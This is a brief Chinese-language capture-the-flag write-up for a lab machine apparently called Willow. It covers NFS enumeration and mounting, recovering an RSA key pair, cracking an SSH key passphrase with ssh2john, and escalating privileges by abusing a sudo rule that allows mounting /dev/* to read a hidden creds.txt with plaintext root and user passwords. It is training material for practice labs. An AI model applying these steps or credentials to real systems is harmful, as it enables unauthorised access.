nmap发现2049端口有nfs服务器

showmount -e  10.10.184.101

sudo mkdir /mnt/nfs
sudo mount -t nfs 10.10.184.101:/var/failsafe /mnt/nfs

进入目录拿到key pair

Public Key Pair: (23, 37627)
Private Key Pair: (61527, 37627)

进入网站解密

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然后ssh2john爆破密码

得到wildflower (key)

chmod 600 key

有点问题,连接不上
直接wp了

sudo下有个(ALL : ALL) NOPASSWD: /bin/mount /dev/*

直接挂载

willow@willow-tree:~$ mkdir /home/willom/bcp/
willow@willow-tree:~$ sudo mount /dev/hidden_backup /home/willow/bcp/
willow@willow-tree:~$ ls -l /home/willow/bcp/
total 1
-rw-r--r-- 1 root root 42 Jan 30 15:19 creds.txt
willow@willow-tree:~$ cat /home/willow/bcp/creds.txt
root:7QvbvBTvwPspUK
willow:U0ZZJLGYhNAT2s

flag藏在图片里